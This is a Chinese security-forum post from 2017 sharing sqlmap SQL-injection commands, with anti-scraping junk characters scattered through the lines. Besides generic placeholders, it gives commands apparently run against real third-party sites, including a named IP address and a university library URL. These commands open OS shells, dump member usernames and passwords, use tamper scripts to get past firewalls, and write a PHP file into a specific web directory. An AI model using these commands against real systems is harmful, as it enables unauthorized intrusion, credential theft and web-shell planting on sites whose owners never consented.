找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2209|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap
+ e! w* g; q, t4 t5 f: Q
9 {( H; j- [8 H( ?update :::::>     in the folder   after  execute    following   order : svn update
3 ?  D7 w2 F. \" j  C' _
& D: e0 w" _, m; k8 M- q7 Psqlmap.py -r 1.txt --current-db7 g3 t: s9 ]: a2 n7 e, R4 X' B
2 D) O% F' o' i; j% x0 y0 p$ N$ F
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
" h% P1 T4 X& L* E" }
& S6 o& B0 ?, M" H0 R1 D! R/ o* S==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
) Y* h' O9 q- q% y- y7 E猜解数据库
# D  M" H$ P; [* R( x" I- V./sqlmap.py -u "injection-url" --dbs
  N+ R3 O2 t6 R& ]/ [sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
5 }* ?" @6 @9 |$ F; ]+ \( y! @3 t6 S9 V! q
猜解表名
# k; g" n% f" Z" Z7 T1 @./sqlmap.py -u "injection-url" -D database_name --tables! `7 S  \4 C5 j( p8 w

- x9 S: D( E; c' K& z% C) Ysqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
. V$ t4 l" b, {; Z6 ]sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" $ U) }, l; E. F7 r$ W% x, {
+ h$ [% @1 @4 X0 `7 K' d6 ]& S: z
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
& s; u6 M& H$ U' I& h' s; |4 I* U- N) Y$ X1 |& B: G
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"/ I: T1 i+ l& J& d- I( {8 \
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
& j7 q6 }. A  k! fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
0 {  ~3 s, w1 r$ T# ?6 P" M7 \sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"2 h' b) v; |2 ?9 t7 t

& g) l; R+ \1 v( esqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"* G$ X9 }3 i9 ?' B) s$ `% W- C
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
; C, S# @  \" M# Y# usqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
7 a; C, Q: F! w; n/ e$ ssqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py") M. g  \2 V$ O7 o4 h6 S
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
6 A0 Q# Y: d7 I- H" ~2 x  O: U- @' M/ @! G5 D) V7 P, S) p
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了: }) W$ y5 D, o& v
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"  U* {/ a$ z. ?: _; B
! @( v1 J! e( e! a( |$ O
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
7 G+ i! U( X; C2 U1 [% k- H猜解列名
+ T8 R0 B& I6 [( y./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
8 H$ F3 v! s! X( z' f6 F& a9 }9 k3 ^
4 C* z* W' Y3 _0 q7 a* ysqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
! l& c+ x3 N4 t2 ?( @6 t$ Gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" . x! L0 M( a( ^8 w  [( U6 {
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"  ?  C. D8 n4 |( @0 s$ ~% }& e' c

2 n0 }% w4 G, q+ E; fsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
% }) y* [5 f% m  E' o+ q&submit=Go8 }" m% y' V& S' {3 F4 s+ \
猜解值
5 d. r/ c5 _0 h, k, |  |3 |# M2 I./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
' Z- h+ z1 _3 e0 F. D3 w========================================================
$ p# N, ^9 R; O: t5 k8 ^3 z6 @# a' n搜索表名中包括mana字符的
4 Y6 I4 Z) v- ]' u! a0 |/sqlmap.py -u "injection-url" -T mana --search
0 a4 L! P7 |! Y! {8 d+ t. ?: ?返回一个交互式sql shell( F, D' K$ m1 n7 a( x9 _4 ~" @8 M
/sqlmap.py -u "injection-url" --sql-shell
% l* T9 h& L! j读取指定文件(需权限)$ X! b+ M' e3 P/ [8 ?% ]/ [
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"7 l2 K0 g/ t7 }2 {
查看当前 用户 及 数据库 6 O& v4 i2 J/ X2 i0 u
/sqlmap.py -u "injection-url" --current-user --current-db
9 ?1 h4 [$ W2 F0 V本地文件 写入 远程目标绝对路径- i+ q" [3 N7 F! Y* H3 ^  L
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
: K4 W) a) ?& J1 J+ b- Bsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ! c" K$ j( k; Z4 \

  M+ u* M& S' `5 O, Xsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
! B9 A0 S$ f+ R$ \8 ~查看某用的权限
# r. V8 }/ d! T1 d8 N# b' V9 H0 S/sqlmap.py -u "injection-url" --privileges -U root3 u. \& u* f) F. ]
查看当前用户是否为dba; J' L* X' d- R+ J4 e
/sqlmap.py -u "injection-url" --is-dba  l3 }2 d6 d6 e) [+ r% E; k
读取所有数据库用户或指定数据库用户的密码
" X& a, y6 G0 P2 X# R& \sqlmap.py -r 1.txt --users --passwords0 m* _6 C+ I+ f
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" , q( L4 J! d) }2 J' n/ z% D+ ?4 a
+ E4 X; M8 e" p+ V
/sqlmap.py -u "injection-url" --passwords -U root- B! n9 R# d* r' X1 m) a& t

' z! Q& }8 F: s: W3 R; ~6 q--start&&--stop 与 --first&&--last 的区别
5 X4 D8 {+ }! f" A4 q5 }: h/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
4 |+ N  T3 `; F4 s% r8 K& g9 a  V+ ~' d! L) b% c: Y- Y
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)' N( S0 j6 Y- h, k
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables+ e3 `6 F) w+ Y+ t4 F1 V0 t6 k! G2 h
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
% ?" {! C5 A, b6 i
0 S0 T8 w% C# Z7 e. f执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)/ u: {1 v$ |2 c6 j* a
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"" T% e& U  J6 o. c" U1 c( f

6 a( W# f+ p* l$ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表